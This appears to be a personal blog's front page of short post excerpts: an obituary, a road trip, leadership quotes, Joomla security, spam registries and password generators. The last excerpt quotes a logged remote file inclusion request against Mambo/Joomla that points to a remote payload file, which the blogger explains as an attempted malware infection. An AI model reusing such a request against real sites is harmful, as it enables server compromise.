Vuln: MySQL MyISAM Table Privileges Secuity Bypass Vulnerability (source: SecurityFocus Vulnerabilities)

Mary Irene Mayfield Taylor passed away July 2, 2008 in San Antonio, Texas at the age of 94. Mrs. Taylor was the wife of J.O. Taylor, Jr., a rancher in Val Verde County. Mrs. Taylor was born in Del Rio, Texas on February 10, 1914 and grew up in Del Rio and on her father and mother’s ranches in Val Verde County. She was married to J.O. Taylor, Jr. on December 4, 1935 in the First United Methodist Church in Del Rio. They lived in Del Rio and on the Taylor Ranch at Juno until their retirement when they moved to San Antonio to Patriot

I just completed a 3 week vacation to California from Texas including several points in between. The last leg of the 5,065 mile journey was a 22 hour marathon from Long Beach, CA to San Antonio, TX. I drove all but 10 minutes of the trip. Oh, and I had my wife and 3 kids -- ages 8, 6, and 4 -- in the van, too.

I left Friday at 7:30 PM PDT and arrived at home in San Antonio, TX, at 7:30 PM CDT. That's exactly (!) 22 hours.

Without respect from those one leads, there is no leadership; only, delayed mutiny.

Leadership is a quality, not an office. Real leadership is not bestowed but recognized. Leadership is not authority; authority is right. Leadership is not power; power is might. Leadership is essential but ephemeral -- to grasp it is to lose it.

In honor of pi day (3/14 @ 1:59) I am repeating the most creative rendering of known digits of π, "Near a Raven." Bask in the genius of this early Internet posting (after the jump):

Apple's Open Source download page has a new featured package that is guaranteed to raise the profile of Mac OS X Server on the list of exploited servers: Joomla!, or, as I'm starting to call it, DOOM-LA.

I'm reading Clive Cussler's Atlantis Found which has an AI computer named Max (female, though) who (!) is able to reason and think with her creator/peer. In the story, while "she" crunches data she tells her creator/peer: "Go home Hiram [the creator/peer]. Take your wife and daughters to a movie. Get a good night's sleep while I sizzle my chips.

Flattery may get you nowhere but it sure can help build your "double opt-in" spam list. Taking a page from long-term vanity publisher Who's Who, some outfit calling itself "Princeton Premier" is looking to flatter people into divulging their contact information including "the best time to contact." Let me make this perfectly clear: the reason a company asks for the best time to contact you is that they intend to contact you. Yes, that is the Monty Python "Spam, spam, spam, spam" theme song playing in your subconscious right now. Princeton Premier hopes your personal vanity drowns out your better judgement, however, with claims like "Inclusion is considered by many as the single highest mark of achievement."

Just remember this: if they are including "Robot Terror" how prestigious is this registry, anyway?

For many years I have recommended the use of online (and off-line) password generators for people needing assistance with making relatively strong passwords. But I've long had this nagging suspicion trying to express itself and yet have not until now. Right now, in fact.

What if the password generators are hacked or compromised? More specifically, what if the password generators choose from a set list of passwords that brute-force attackers then use in their automated attacks? Or, what if the list of generated passwords is compromised and, worse, related to the requesting IP address?

While reviewing my logs for recent hits on my blog I came across the following request:

 URL: http://robotterror.com/site/wiki/mosConfig_absolute_path%3Dhttp%3A/[...]/f1.txt
 Date: Monday, January 28, 2008 - 05:59
 Remote Host: 69.57.148.17

Fortunately I am not using Mambo or Joomla (though the blog-ware I am using has its own troubles) or I would have been infected with malware that would turn my server into an attack platform for DDoS attacks, spam, IRC, phishing scams and a host of illegal content of all kinds.